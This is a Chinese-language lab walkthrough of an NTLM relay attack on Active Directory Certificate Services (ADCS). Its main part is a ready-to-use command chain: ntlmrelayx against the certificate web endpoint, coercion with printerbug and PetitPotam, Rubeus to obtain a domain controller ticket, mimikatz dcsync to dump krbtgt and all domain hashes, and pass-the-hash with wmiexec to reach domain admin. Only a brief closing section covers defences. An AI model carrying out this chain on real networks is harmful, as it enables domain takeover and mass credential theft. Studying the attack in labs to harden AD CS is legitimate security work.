一、ADCS Relay漏洞简介:
由于ADCS的http证书接口没有启用NTLM中继保护,因此其易受NTLM Relay攻击。而且Authorization HTTP 标头明确只允许通过 NTLM 身份验证,因此Kerberos协议无法使用。因此,攻击者可以利用NTLM Relay攻击ADCS证书服务
二、实验环境:
继上一篇文章所搭建的环境进行复现->
win2012 R2(域控)ip:192.168.136.100
win2012 R2(额外域控)ip:192.168.136.120(ADCS证书服务器)
win2008 R2(域内机器)ip:192.168.136.80
kali(攻击机):192.168.136.144
三、复现过程:
win 2008 R2作为域内普通用户权限机器,注入票据、pth等操作都在此完成,以接近实际环境
1、定位ADCS证书服务器:
certutil -config - -ping
证书服务器web页面:
http://证书服务器域名/certsrv/certfnsh.asp
要更新为这个版本的impacket,具体用git pull 更新下,然后执行setup.py安装一遍就行了:
https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack
首先使用ntlmrelay.py开启监听:
python3 ntlmrelayx.py -t http://192.168.136.120/certsrv/certfnsh.asp -smb2support --adcs --template 'domain controller'
PS:需要将默认的http服务先关掉,否则会报错:address is already in use:
①使用打印机服务printerbug触发:
python3 printerbug.py 域名/域用户账号:域用户密码@域控ip 开启ntlmrelay监听的攻击机ip
②使用Petitpotam,利用FSRPC协议强连触发:
python3 Petitpotam.py -u 域用户账号 -p 域用户密码 -d 域名 开启ntlmrelay监听的攻击机ip 域控ip
然后ntlmrelay就会成功relay到base64编码的证书:
然后利用Rubeus.exe导入证书数据,获取tgt并注入:
Rubeus.exe asktgt /user:证书的user$ /certificate:base64编码的证书内容 /ppt
执行结果,成功获取到了TGT:
可以使用mimikatz导出krbtgt用户的hash:
kerberos::list #查看kerberos票据
lsadump::dcsync /user:krbtgt /csv #导出krbtgt用户的hash
以及可以dcsync导出域内所有hash:
lsadump::dcsync /all
或者手动注入票据,使用kekeo,然后再配合impacket利用:
获取到hash后可以进行pth到主域控:
wmiexec.exe -hashes :NTLMHash值 域名/用户名@目标IP可以看到ip信息为主域控ip,权限为域管
三、防御措施:
1、如果不需要,可以关闭证书服务的web端点。
2、可以将certsrv,该iis配置中的ntlm认证删除,这样就无法使用ntlm进行认证,也就阻止了relay攻击